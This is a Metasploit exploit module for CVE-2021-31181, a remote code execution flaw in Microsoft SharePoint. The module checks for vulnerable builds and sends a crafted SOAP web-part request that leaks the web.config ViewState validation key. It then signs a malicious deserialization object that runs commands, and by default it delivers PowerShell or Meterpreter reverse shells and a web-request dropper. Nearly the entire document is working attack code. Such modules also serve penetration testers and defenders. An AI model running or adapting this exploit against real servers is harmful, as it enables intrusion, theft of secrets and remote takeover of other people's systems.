Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Sharepoint  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
XML_NS = {  
'wpp' => 'http://microsoft.com/sharepoint/webpartpages',  
'soap' => 'http://www.w3.org/2003/05/soap-envelope',  
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',  
'xsd' => 'http://www.w3.org/2001/XMLSchema'  
}.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',  
'Description' => %q{  
The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This  
can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will  
leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution  
when deserialized.  
  
Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.  
},  
'Author' => [  
'Unknown', # Reported to HP ZDI team, Vulnerability discovery  
'Spencer McIntyre', # Module  
'wvu' # Module  
],  
'References' => [  
[ 'CVE', '2021-31181' ],  
[ 'ZDI', '21-573' ],  
[ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]  
],  
'DisclosureDate' => '2021-05-11',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'DotNetGadgetChain' => :TypeConfuseDelegate  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),  
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),  
OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),  
# "Promote" these advanced options so we don't have to pass around our own  
OptString.new('HttpUsername', [false, 'SharePoint username']),  
OptString.new('HttpPassword', [false, 'SharePoint password'])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def cookie  
datastore['COOKIE']  
end  
  
def vuln_builds  
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates  
# https://buildnumbers.wordpress.com/sharepoint/  
# Patched in May of 2021  
[  
[Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013  
[Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016  
[Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019  
]  
end  
  
def check  
build = sharepoint_get_version('cookie' => cookie)  
  
if build.nil?  
return CheckCode::Unknown('Failed to retrieve the SharePoint version number')  
end  
  
if vuln_builds.any? { |build_range| build.between?(*build_range) }  
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")  
end  
  
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")  
end  
  
def exploit  
if (username.blank? && password.blank?)  
if cookie.blank?  
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')  
end  
  
print_warning('Using the specified COOKIE for authentication')  
end  
  
if (@validation_key = datastore['VALIDATION_KEY'])  
print_status("Using ViewState validation key #{@validation_key}")  
else  
leak_web_config  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def leak_web_config  
print_status('Leaking the ViewState validation key...')  
  
web_id = sharepoint_get_site_web_id('cookie' => cookie)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id  
  
webpart = <<~WEBPART  
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>  
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>  
WEBPART  
webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">  
<DataSources>  
<att:xmldatasource runat="server" id="XDS1"  
XPath="/configuration/system.web/machineKey"  
datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />  
</DataSources>  
<xsl>  
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:output method="xml" indent="yes" />  
<xsl:template match="/">  
<xsl:copy-of select="." />  
</xsl:template>  
</xsl:stylesheet>  
</xsl>  
</WebPartPages:XsltListFormWebPart>  
WEBPART  
  
envelope = '<?xml version="1.0" encoding="utf-8"?>'  
envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">  
<soap12:Body>  
<RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">  
<webPartXml>#{webpart.encode(xml: :text)}</webPartXml>  
</RenderWebPartForEdit>  
</soap12:Body>  
</soap12:Envelope>  
ENVELOPE  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),  
'cookie' => cookie,  
'ctype' => 'application/soap+xml; charset=utf-8',  
'data' => envelope  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")  
end  
  
xml_response = res.get_xml_document  
if xml_response.nil?  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')  
end  
  
xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text  
unless xml_result  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')  
end  
  
xml_result = Nokogiri::XML(xml_result)  
web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)  
unless web_part_pages&.root  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')  
end  
  
unless (preview = web_part_pages.root.attr('__designer:Preview'))  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')  
end  
preview = Nokogiri::HTML(CGI.unescapeHTML(preview))  
unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')  
end  
  
print_good("ViewState validation key: #{@validation_key}")  
end  
  
def execute_command(cmd, _opts = {})  
sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })  
end  
end  
`